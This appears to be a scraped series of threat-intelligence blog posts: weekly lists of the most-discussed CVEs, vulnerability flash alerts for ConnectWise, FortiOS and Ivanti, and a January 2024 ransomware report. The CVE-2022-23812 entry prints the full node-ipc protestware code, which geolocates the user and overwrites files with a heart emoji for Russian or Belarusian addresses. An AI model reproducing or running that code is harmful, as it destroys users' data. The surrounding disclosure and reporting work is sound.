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"SOS
CVE Top 10

The SOS Intelligence CVE Chatter Weekly Top Ten – 26 February 2024

 

This weekly blog post is from via our unique intelligence collection pipelines. We are your eyes and ears online, including the Dark Web.

There are thousands of vulnerability discussions each week. SOS Intelligence gathers a list of the most discussed Common Vulnerabilities and Exposures (CVE) online for the previous week.

We make every effort to ensure the accuracy of the data presented. As this is an automated process some errors may creep in.

If you are feeling generous please do make us aware of anything you spot, feel free to follow us on Twitter @sosintel and DM us. Thank you!

 


 

1.  CVE-2023-3824

In PHP version 8.0.* before 8.0.30,  8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE. 

https://nvd.nist.gov/vuln/detail/CVE-2023-3824

 


 

2. CVE-2023-6875

The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7. This makes it possible for unauthenticated attackers to reset the API key used to authenticate to the mailer and view logs, including password reset emails, allowing site takeover.

https://nvd.nist.gov/vuln/detail/CVE-2023-6875

 


 

3. CVE-2024-21887

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

https://nvd.nist.gov/vuln/detail/CVE-2024-21887

 


 

4. CVE-2022-23812

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don’t run it! js import u from “path”; import a from “fs”; import o from “https”; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(“aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=”, “base64”); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(“utf8”), function (t) { t.on(“data”, function (t) { const n = Buffer.from(“Li8=”, “base64”); const o = Buffer.from(“Li4v”, “base64”); const r = Buffer.from(“Li4vLi4v”, “base64”); const f = Buffer.from(“Lw==”, “base64”); const c = Buffer.from(“Y291bnRyeV9uYW1l”, “base64”); const e = Buffer.from(“cnVzc2lh”, “base64”); const i = Buffer.from(“YmVsYXJ1cw==”, “base64”); try { const s = JSON.parse(t.toString(“utf8”)); const u = s[c.toString(“utf8”)].toLowerCase(); const a = u.includes(e.toString(“utf8”)) || u.includes(i.toString(“utf8”)); // checks if country is Russia or Belarus if (a) { h(n.toString(“utf8”)); h(o.toString(“utf8”)); h(r.toString(“utf8”)); h(f.toString(“utf8”)); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = “”, o = “”) { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(“4p2k77iP”, “base64”); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(…s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(“utf8”), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };

https://nvd.nist.gov/vuln/detail/CVE-2022-23812

 


 

5. CVE-2024-1512

The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the ‘user’ parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

https://nvd.nist.gov/vuln/detail/CVE-2024-1512

 


 

6. CVE-2023-32243

Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2023-32243

 


 

7. CVE-2023-6546

A race condition was found in the GSM 0710 tty multiplexor in the Linux kernel. This issue occurs when two threads execute the GSMIOC_SETCONF ioctl on the same tty file descriptor with the gsm line discipline enabled, and can lead to a use-after-free problem on a struct gsm_dlci while restarting the gsm mux. This could allow a local unprivileged user to escalate their privileges on the system.

https://nvd.nist.gov/vuln/detail/CVE-2023-6546

 


 

8. CVE-2024-22024

An XML external entity or XXE vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and ZTA gateways which allows an attacker to access certain restricted resources without authentication.

https://nvd.nist.gov/vuln/detail/CVE-2024-22024

 


 

9. CVE-2023-41266

A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.

https://nvd.nist.gov/vuln/detail/CVE-2023-41266

 


 

10. CVE-2023-23416

Windows Cryptographic Services Remote Code Execution Vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2023-23416

 


"Connectwise_vulnerability"/
Flash Alert

Flash Alert – Critical vulnerabilities in ConnectWise

CVE: TBD

CVSS: 10.00 CRITICAL

CVE: TBD

CVSS: 8.4 HIGH

In the last week, ConnectWise has disclosed vulnerabilities affecting versions 23.9.7 (and older) of its ScreenConnect product.

Two vulnerabilities have been identified and published via a security bulletin on the ConnectWise website.  Few details have been published, but the bulletin does indicate the following:

  • The first vulnerability allows for authentication bypass by utilisation of an alternate path or channel
  • The second vulnerability concerns the improper limitation of a pathname to a restricted directory (AKA “path traversal”)

Utilised together, these vulnerabilities would allow a threat actor to remotely execute code, or directly impact confidential data of critical systems.

ConnectWise is urging all users of ScreenConnect to update to version 23.9.8 to patch these vulnerabilities, but does insist that they have seen no evidence of exploitation in the wild.

"SOS
CVE Top 10

The SOS Intelligence CVE Chatter Weekly Top Ten – 19 February 2024

 

This weekly blog post is from via our unique intelligence collection pipelines. We are your eyes and ears online, including the Dark Web.

There are thousands of vulnerability discussions each week. SOS Intelligence gathers a list of the most discussed Common Vulnerabilities and Exposures (CVE) online for the previous week.

We make every effort to ensure the accuracy of the data presented. As this is an automated process some errors may creep in.

If you are feeling generous please do make us aware of anything you spot, feel free to follow us on Twitter @sosintel and DM us. Thank you!

 


 

1.  CVE-2023-42916

An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 17.1.2 and iPadOS 17.1.2, macOS Sonoma 14.1.2, Safari 17.1.2. Processing web content may disclose sensitive information. Apple is aware of a report that this issue may have been exploited against versions of iOS before iOS 16.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2023-42916

 


 

2. CVE-2023-6875

The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7. This makes it possible for unauthenticated attackers to reset the API key used to authenticate to the mailer and view logs, including password reset emails, allowing site takeover.

https://nvd.nist.gov/vuln/detail/CVE-2023-6875

 


 

3. CVE-2023-38203

Adobe ColdFusion versions 2018u17 (and earlier), 2021u7 (and earlier) and 2023u1 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

https://nvd.nist.gov/vuln/detail/CVE-2023-38203

 


 

4. CVE-2023-33107

Memory corruption in Graphics Linux while assigning shared virtual memory region during IOCTL call.

https://nvd.nist.gov/vuln/detail/CVE-2023-33107

 


 

5. CVE-2023-4762

Type Confusion in V8 in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

https://nvd.nist.gov/vuln/detail/CVE-2023-4762

 


 

6. CVE-2023-39526

PrestaShop is an open source e-commerce web application. Versions prior to 1.7.8.10, 8.0.5, and 8.1.1 are vulnerable to remote code execution through SQL injection and arbitrary file write in the back office. Versions 1.7.8.10, 8.0.5, and 8.1.1 contain a patch. There are no known workarounds.

https://nvd.nist.gov/vuln/detail/CVE-2023-39526

 


 

7. CVE-2022-48618

The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.1, watchOS 9.2, iOS 16.2 and iPadOS 16.2, tvOS 16.2. An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. Apple is aware of a report that this issue may have been exploited against versions of iOS released before iOS 15.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2022-48618

 


 

8. CVE-2023-32243

Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2023-32243

 


 

9. CVE-2024-21762

A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows attacker to execute unauthorized code or commands via specifically crafted requests

https://nvd.nist.gov/vuln/detail/CVE-2024-21762

 


 

10. CVE-2023-43770

Roundcube before 1.4.14, 1.5.x before 1.5.4, and 1.6.x before 1.6.3 allows XSS via text/plain e-mail messages with crafted links because of program/lib/Roundcube/rcube_string_replacer.php behavior.

https://nvd.nist.gov/vuln/detail/CVE-2023-43770

 


"SOS
Investigation, Ransomware

Ransomware – State of Play January 2024

SOS Intelligence currently tracks 173 distinct ransomware groups, with data collection covering 324 relays and mirrors.

In the reporting period, SOS Intelligence has identified 274 instances of publicised ransomware attacks.  These were identified through the publication of victim details and data on ransomware blog sites accessible via Tor.  Our analysis is presented below:

Threat Actor Activity

Lockbit has remained the market leader, maintaining a market share of approximately 23%.  Blackbasta, Akira, Trigona, 8base and Bianlian have seen significant increases in activity over the month, while there have been decreases in activity from Cactus, Werewolves, Siegedsec, Dragonforce, and Play.

January is typically a quieter month for ransomware threat actors.  In 2022, the volume of attacks was 17% less than the yearly average. In 2023, this increased to 54%.  This slowing of activity is likely due to the proximity of several national and religious holidays observed globally between December and January.  However, in 2024, we observed a significant increase in attacks across January.  Two factors stand out as possible causes for this:

  1. Ongoing global hostilities

It has been observed that pro-Russian cybercriminal groups have been vocally supportive of the ongoing war in Ukraine, and have diverted significant resources in targeting the supporters of Ukraine.  Similar patterns have been noted in the targeting of victims in countries which have shown support for Israel.

Although ransomware groups and threat actors are primarily financially motivated, their resources and skills are often seen turned against perceived enemies of the state, blurring the lines between criminal and hostile state activity.

  1. Counter Ransomware Initiative

The Counter Ransomware Initiative (CRI) is a US-led group of 50 nations and organisations dedicated to promoting solidarity and support in the face of ransomware activity.  In October 2023, CRI members pledged not to pay ransoms when faced with cyber attacks.

As a result, it is expected that the number of observed postings to ransomware blogs will increase as victims no longer pay ransoms.  This may show an increase in victims’ data being published, rather than an overall increase in the number of victims.

Country Targeting

As stated above, ransomware threat actors’ choice of targets can be politically motivated, as well as financially.  This is why we continue to see the majority of attacks target the USA, UK, Canada, France, Germany and Italy.  As members of the G7, these countries have strong economies and therefore possess lucrative targets for financially-minded threat actors.  However, this surge in activity may be politically motivated.  Continued support for Israel and Ukraine may give certain threat actors additional motivation to target those countries.

This month has seen an increase in attacks against victims in Sweden.  Sweden is in the process of joining NATO, which appears to have presented the country as a target for pro-Russian threat actors in support of the Russian state.  Sweden’s membership would increase NATO’s presence in and around the Baltic Sea, a key waterway for allowing the Russian Navy into the North Sea and onward into the Atlantic.  Furthermore, it would increase a NATO presence close to Russia’s border with the rest of Europe.

Industry Targeting

Manufacturing, Construction & Engineering, and Logistics & Transportation have remained the key targeted industries for January.  These industries would be more reliant on technology to continue their business activities, so it logically follows that they would be more likely to pay a ransom to regain access to compromised computer systems.  The Financial and Education sectors have also seen increased activity over the period.

We are seeing a shift in tactics for certain industries, particularly those where data privacy carries a higher importance (such as legal or healthcare), where threat actors are not deploying encryption software and instead relying solely on data exfiltration as the main source of material for blackmail and extortion.

ALPHV/Blackcat

In December 2023, law enforcement agencies from multiple jurisdictions targeted the ALPHV/Blackcat ransomware group, disrupting the groups’ activities and seizing their domain.  Shortly after, the domain was “un-seized” before law enforcement agencies took back control.  As a result of this action, the operators behind ALPHV/Blackcat have publicly withdrawn their rules regarding the targeting of Critical National Infrastructure (CNI), in apparent revenge for law enforcement activity.

Since the takedown, ALPHV/Blackcat activity has slowed but does not appear to have stopped.  In recent weeks they claim to have targeted and stolen confidential and sensitive data from Trans-Northern Pipelines in Canada, as well as Technica, a contractor working with the US Department of Defence, FBI, and USAF. 

The veracity of these claims is still being investigated, and so should be taken with a grain of salt.  The ALPHV/Blackcat group has been hurt by law enforcement, impacting their operations and losing them customers.  Therefore, it is possible that exaggerated claims are being made to save face and their reputation amongst the cybercrime community.

Photo by FLY:D on Unsplash

"SOS
Product news

Business Update

We’ve had a lot going on since the start of the year and so I’ve recorded a short update for you. Click to watch and listen!

We are very thankful for all our customers, those who have been with us since we started and the new ones over the past months.

"SOS
CVE Top 10

The SOS Intelligence CVE Chatter Weekly Top Ten – 12 February 2024

 

This weekly blog post is from via our unique intelligence collection pipelines. We are your eyes and ears online, including the Dark Web.

There are thousands of vulnerability discussions each week. SOS Intelligence gathers a list of the most discussed Common Vulnerabilities and Exposures (CVE) online for the previous week.

We make every effort to ensure the accuracy of the data presented. As this is an automated process some errors may creep in.

If you are feeling generous please do make us aware of anything you spot, feel free to follow us on Twitter @sosintel and DM us. Thank you!

 


 

1.  CVE-2023-29300

Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

https://nvd.nist.gov/vuln/detail/CVE-2023-29300

 


 

2. CVE-2024-0519

Out of bounds memory access in V8 in Google Chrome prior to 120.0.6099.224 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

https://nvd.nist.gov/vuln/detail/CVE-2024-0519

 


 

3. CVE-2023-6448

Unitronics VisiLogic before version 9.9.00, used in Vision and Samba PLCs and HMIs, uses a default administrative password. An unauthenticated attacker with network access can take administrative control of a vulnerable system.

https://nvd.nist.gov/vuln/detail/CVE-2023-6448

 


 

4. CVE-2023-23752

An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

https://nvd.nist.gov/vuln/detail/CVE-2023-23752

 


 

5. CVE-2023-1671

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

https://nvd.nist.gov/vuln/detail/CVE-2023-1671

 


 

6. CVE-2022-42475

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

https://nvd.nist.gov/vuln/detail/CVE-2022-42475

 


 

7. CVE-2024-23917

In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible

https://nvd.nist.gov/vuln/detail/CVE-2024-23917

 


 

8. CVE-2024-21399

Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

https://nvd.nist.gov/vuln/detail/CVE-2024-21399

 


 

9. CVE-2024-21887

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

https://nvd.nist.gov/vuln/detail/CVE-2024-21887

 


 

10. CVE-2023-46805

An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.

https://nvd.nist.gov/vuln/detail/CVE-2023-46805

 


"Significant
Flash Alert

Flash Alert – Significant vulnerability in FortiOS

CVE-2024-21762
CVSS: 9.8 CRITICAL

Fortinet has disclosed a significant vulnerability in FortiOS, their network operating system. 

An out-of-bounds write issue is present in multiple versions of the product, potentially allowing any threat actor to remotely execute code and commands without authorisation, by utilising specifically crafted HTTP requests.

The vulnerability impacts the following:

Fortinet FortiOS versions
7.4.0 through 7.4.2
7.2.0 through 7.2.6
7.0.0 through 7.0.13
6.4.0 through 6.4.14
6.2.0 through 6.2.15
6.0.0 through 6.0.17
FortiProxy versions
7.4.0 through 7.4.2
7.2.0 through 7.2.8
7.0.0 through 7.0.14
2.0.0 through 2.0.13
1.2.0 through 1.2.13
1.1.0 through 1.1.6
1.0.0 through 1.0.7

Fortinet has detailed a workaround; disabling SSL VPN, and has provided guidance on ensuring that any affected products are updated. They have further disclosed their belief that this vulnerability is being exploited in the wild. 

This comes soon after the discovery of Chinese APT VOLT TYPHOON actively targeting FortiOS to deploy their custom malware COATHANGER, including against the Dutch Ministry of Defence.

"SOS
CVE Top 10

The SOS Intelligence CVE Chatter Weekly Top Ten – 05 February 2024

 

This weekly blog post is from via our unique intelligence collection pipelines. We are your eyes and ears online, including the Dark Web.

There are thousands of vulnerability discussions each week. SOS Intelligence gathers a list of the most discussed Common Vulnerabilities and Exposures (CVE) online for the previous week.

We make every effort to ensure the accuracy of the data presented. As this is an automated process some errors may creep in.

If you are feeling generous please do make us aware of anything you spot, feel free to follow us on Twitter @sosintel and DM us. Thank you!

 


 

1.  CVE-2023-24709

An issue found in Paradox Security Systems IPR512 allows attackers to cause a denial of service via the login.html and login.xml parameters.

https://nvd.nist.gov/vuln/detail/CVE-2023-24709

 


 

2. CVE-2023-6246

A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.

https://nvd.nist.gov/vuln/detail/CVE-2023-6246

 


 

3. CVE-2023-38606

This issue was addressed with improved state management. This issue is fixed in macOS Monterey 12.6.8, iOS 15.7.8 and iPadOS 15.7.8, iOS 16.6 and iPadOS 16.6, tvOS 16.6, macOS Big Sur 11.7.9, macOS Ventura 13.5, watchOS 9.6. An app may be able to modify sensitive kernel state. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2023-38606

 


 

4. CVE-2023-46805

An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.

https://nvd.nist.gov/vuln/detail/CVE-2023-46805

 


 

5. CVE-2023-32434

An integer overflow was addressed with improved input validation. This issue is fixed in watchOS 9.5.2, macOS Big Sur 11.7.8, iOS 15.7.7 and iPadOS 15.7.7, macOS Monterey 12.6.7, watchOS 8.8.1, iOS 16.5.1 and iPadOS 16.5.1, macOS Ventura 13.4.1. An app may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.

https://nvd.nist.gov/vuln/detail/CVE-2023-32434

 


 

6. CVE-2020-1472

An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.
To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.
Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels.
For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020).
When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.

https://nvd.nist.gov/vuln/detail/CVE-2020-1472

 


 

7. CVE-2023-41990

The issue was addressed with improved handling of caches. This issue is fixed in tvOS 16.3, iOS 16.3 and iPadOS 16.3, macOS Monterey 12.6.8, macOS Big Sur 11.7.9, iOS 15.7.8 and iPadOS 15.7.8, macOS Ventura 13.2, watchOS 9.3. Processing a font file may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.1.

https://nvd.nist.gov/vuln/detail/CVE-2023-41990

 


 

8. CVE-2024-21888

A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator.

https://nvd.nist.gov/vuln/detail/CVE-2024-21888

 


 

9. CVE-2023-32435

A memory corruption issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, Safari 16.4, iOS 16.4 and iPadOS 16.4, iOS 15.7.7 and iPadOS 15.7.7. Processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.7.

https://nvd.nist.gov/vuln/detail/CVE-2023-32435

 


 

10. CVE-2024-21887

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

https://nvd.nist.gov/vuln/detail/CVE-2024-21887

 


"ivanti"/
Flash Alert

Flash Alert – Further vulnerabilities reported in Ivanti Connect Secure, Ivanti Policy Secure and Ivanti Neurons for ZTA

Two new vulnerabilities have been disclosed by Ivanti, relating to their Connect Secure, Policy Secure and Neurons for ZTA products and services.

Ivanti Connect Secure & Ivanti Policy Secure

CVE-2024-21888

CVSS: 8.8 HIGH

Ivanti has disclosed a further vulnerability affecting their Connect Secure and Policy Secure solutions.  Impacting all currently supported versions (9.x and 22.x), the vulnerability allows a user (malicious or otherwise) to elevate their current privileges to that of an administrator.

Ivanti Connect Secure, Ivanti Policy Secure & Ivanti Neurons for ZTA

CVE-2024-21893

CVSS: 8.2 HIGH

A server-side vulnerability exists in the SAML component of Ivanti Connect Secure, Ivanti Policy Secure & Ivanti Neurons for ZTA.  When exploited, a threat actor could access certain restricted resources without needing to authenticate.

While no threat actor use of CVE-2024-21888 has yet been discovered, there has been limited, targeted use of CVE-2024-21893. Following the disclosure of these vulnerabilities, exploitation of impacted services is suspected to increase.  Therefore, it is vital that the affected services are fully patched and updated to mitigate any risks.

The release of these vulnerabilities follows Ivanti’s research into vulnerabilities disclosed earlier in the month, CVE-2023-46805 and CVE-2024-21887 (previously reported here).  Given the volume of vulnerabilities coming from Ivanti at this time, it is expected that threat actors will put an increased focus on identifying more in order to exploit vulnerable users.

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